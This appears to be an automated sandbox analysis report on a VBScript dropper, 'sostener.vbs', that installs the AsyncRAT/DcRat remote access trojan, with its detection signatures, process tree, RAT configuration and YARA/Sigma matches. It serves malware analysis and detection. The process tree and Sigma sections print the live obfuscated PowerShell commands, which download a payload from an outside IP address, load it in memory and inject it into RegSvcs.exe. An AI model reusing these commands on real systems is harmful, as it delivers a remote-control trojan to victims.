Edit tour

Windows Analysis Report
sostener.vbs

Overview

General Information

Sample name:	sostener.vbs
Analysis ID:	1523124
MD5:	640864bd8dcc33f7191cea6e8794a386
SHA1:	6b651ed9e576d72b6c53e975e555572701fe2681
SHA256:	5b30c27eaca00c51aa594df7273f8e24d84d08a6c085147697e21b082e3e7812
Tags:	user-lontze7
Infos:

Detection

AsyncRAT, DcRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected AsyncRAT

Yara detected DcRat

Yara detected Powershell download and execute

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses dynamic DNS services

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5332 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 3848 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4312 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9)

RegSvcs.exe (PID: 6884 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: AsyncRAT

{"Server": ")8\"zc", "Ports": "$A<IlE,84,7;&gV", "Version": "*wacp!]6l[e", "BDOS": "U^2", "AES_key": "R4OsSR16j3MjPEBlkfzyOGTLnlxVVuwW", "Mutex": "n#QO", "Certificate": "UDq5O^", "ServerSignature": "1", "Group": "Oy\\iql0S13XbS4sp1@PsWg:PGIw'~?Q;ifHa#3ef8L\"SpWzk,&&}s;$/?J9UH3>j3={V'nCn.PI*|e>4&k2[2Y\"w$T+^X_j9HSG[?b*'54eS5e_~(e#Z\"n,TX*T->_qfnrv]TM^:Sm1uBPI9|\\4a^^?R|av{V =9J2E|^{wS7Zq,=)a;uL uRaE\"K5bW ycl@NpcoGBww~DzGBkD+U1vws!$\"Awn}G}9cJ6;M^g4xsh'`s^(KX%.#m`^wc.Syd?~c\"Lsj>]?`qx7a!]~a7*CV\\/w6F+j0{&]M*&[7-]2Y</uTKz[gT&GM", "AntiProcess": "HB!<i[>IoEHueVuN1#fc!@?Z#TsdM.i5RX/xjjmOH +NC,v <85~NN!Z.)uebFY`", "PasteBin": "FLVl;"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x564a7:$b2: DcRat By qwqdanchun1

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.1707124383.000001851CFD0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000003.00000002.1707124383.000001851CFD0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x16fd:$h1: //:ptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x63fb:$a1: havecamera 0x98ec:$a2: timeout 3 > NUL 0x990c:$a3: START "" " 0x9797:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x984c:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000004.00000002.2958714804.000000000148B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1700:$b2: DcRat By qwqdanchun1 0x7064:$b2: DcRat By qwqdanchun1
00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x6b53:$a1: havecamera 0x12c1b:$a1: havecamera 0xa044:$a2: timeout 3 > NUL 0x1610c:$a2: timeout 3 > NUL 0xa064:$a3: START "" " 0x1612c:$a3: START "" " 0x9eef:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x15fb7:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9fa4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x1606c:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3a6c:$b1: DcRatByqwqdanchun 0x2af28:$b2: DcRat By qwqdanchun1
00000004.00000002.2958104515.0000000001438000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3b4fc:$b2: DcRat By qwqdanchun1
Process Memory Space: powershell.exe PID: 3848	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3848	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2c22d:$b2: ::FromBase64String( 0x2c297:$b2: ::FromBase64String( 0x2c39e:$b2: ::FromBase64String( 0x44576:$b2: ::FromBase64String( 0x69762:$b2: ::FromBase64String( 0x69881:$b2: ::FromBase64String( 0x7594c:$b2: ::FromBase64String( 0x75be3:$b2: ::FromBase64String( 0xa3e80:$b2: ::FromBase64String( 0xa3f52:$b2: ::FromBase64String( 0xa4032:$b2: ::FromBase64String( 0xde621:$b2: ::FromBase64String( 0xde68b:$b2: ::FromBase64String( 0xe3c38:$b2: ::FromBase64String( 0x100f3c:$b2: ::FromBase64String( 0x11cd00:$b2: ::FromBase64String( 0x11ce1f:$b2: ::FromBase64String( 0x11db17:$b2: ::FromBase64String( 0x11db81:$b2: ::FromBase64String( 0x128c32:$b2: ::FromBase64String( 0x1291aa:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 4312	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 4312	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4312	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x129763:$a1: havecamera 0x12e346:$b1: DcRatByqwqdanchun
Process Memory Space: powershell.exe PID: 4312	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xb7aaa:$b2: ::FromBase64String( 0xb7c92:$b2: ::FromBase64String( 0x14db8c:$b2: ::FromBase64String( 0x14deb2:$b2: ::FromBase64String( 0x18ba28:$b2: ::FromBase64String( 0x18bc10:$b2: ::FromBase64String( 0x1c7786:$b2: ::FromBase64String( 0x1c796e:$b2: ::FromBase64String( 0x1f9e09:$b2: ::FromBase64String( 0x1f9ff2:$b2: ::FromBase64String( 0x1fa3df:$b2: ::FromBase64String( 0x1fa783:$b2: ::FromBase64String( 0x23cf21:$b2: ::FromBase64String( 0x241600:$b2: ::FromBase64String( 0x24211a:$b2: ::FromBase64String( 0x2e6169:$b2: ::FromBase64String( 0x2ecc5c:$b2: ::FromBase64String( 0x315bfb:$b2: ::FromBase64String( 0x184bc:$s1: -join 0x2573d:$s1: -join 0x28bff:$s1: -join
Process Memory Space: RegSvcs.exe PID: 6884	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 6884	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: RegSvcs.exe PID: 6884	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xadad:$a1: havecamera 0xf990:$b1: DcRatByqwqdanchun 0x1697c:$b1: DcRatByqwqdanchun 0x3bd1:$b2: DcRat By qwqdanchun1 0x218d8:$b2: DcRat By qwqdanchun1 0x2b68d:$b2: DcRat By qwqdanchun1
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.powershell.exe.1851cfd0000.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.powershell.exe.1851cfd0000.4.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x16fd:$h1: //:ptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65fb:$a1: havecamera 0x9aec:$a2: timeout 3 > NUL 0x9b0c:$a3: START "" " 0x9997:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a4c:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a4c:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x9997:$s2: L2Mgc2NodGFza3MgL2 0x9916:$s3: QW1zaVNjYW5CdWZmZXI 0x9964:$s4: VmlydHVhbFByb3RlY3Q
4.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cce:$q1: Select * from Win32_CacheMemory 0x9d0e:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d5c:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9daa:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa146:$s1: DcRatBy
3.2.powershell.exe.18504e7a558.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.2.powershell.exe.18504e7a558.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x47fb:$a1: havecamera 0x7cec:$a2: timeout 3 > NUL 0x7d0c:$a3: START "" " 0x7b97:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x7c4c:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
3.2.powershell.exe.18504e7a558.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x7c4c:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x7b97:$s2: L2Mgc2NodGFza3MgL2 0x7b16:$s3: QW1zaVNjYW5CdWZmZXI 0x7b64:$s4: VmlydHVhbFByb3RlY3Q
3.2.powershell.exe.18504e7a558.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x7ece:$q1: Select * from Win32_CacheMemory 0x7f0e:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x7f5c:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x7faa:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
3.2.powershell.exe.18504e7a558.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0x8346:$s1: DcRatBy
3.2.powershell.exe.18504e7a558.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.2.powershell.exe.18504e7a558.0.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65fb:$a1: havecamera 0x126c3:$a1: havecamera 0x9aec:$a2: timeout 3 > NUL 0x15bb4:$a2: timeout 3 > NUL 0x9b0c:$a3: START "" " 0x15bd4:$a3: START "" " 0x9997:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x15a5f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a4c:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x15b14:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
3.2.powershell.exe.18504e7a558.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a4c:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x15b14:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x9997:$s2: L2Mgc2NodGFza3MgL2 0x15a5f:$s2: L2Mgc2NodGFza3MgL2 0x9916:$s3: QW1zaVNjYW5CdWZmZXI 0x159de:$s3: QW1zaVNjYW5CdWZmZXI 0x9964:$s4: VmlydHVhbFByb3RlY3Q 0x15a2c:$s4: VmlydHVhbFByb3RlY3Q
3.2.powershell.exe.18504e7a558.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cce:$q1: Select * from Win32_CacheMemory 0x15d96:$q1: Select * from Win32_CacheMemory 0x9d0e:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x15dd6:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d5c:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x15e24:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9daa:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x15e72:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
3.2.powershell.exe.18504e7a558.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa146:$s1: DcRatBy 0x1620e:$s1: DcRatBy
3.2.powershell.exe.18506078440.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.powershell.exe.18506078440.1.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x16fd:$h1: //:ptth 0x1577dc:$h1: //:ptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
3.2.powershell.exe.18504da3b80.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.powershell.exe.18504da3b80.2.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x16fd:$h1: //:ptth 0xa7d14:$h1: //:ptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
Click to see the 16 entries

Other

Source	Rule	Description	Author	Strings
amsi64_4312.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz 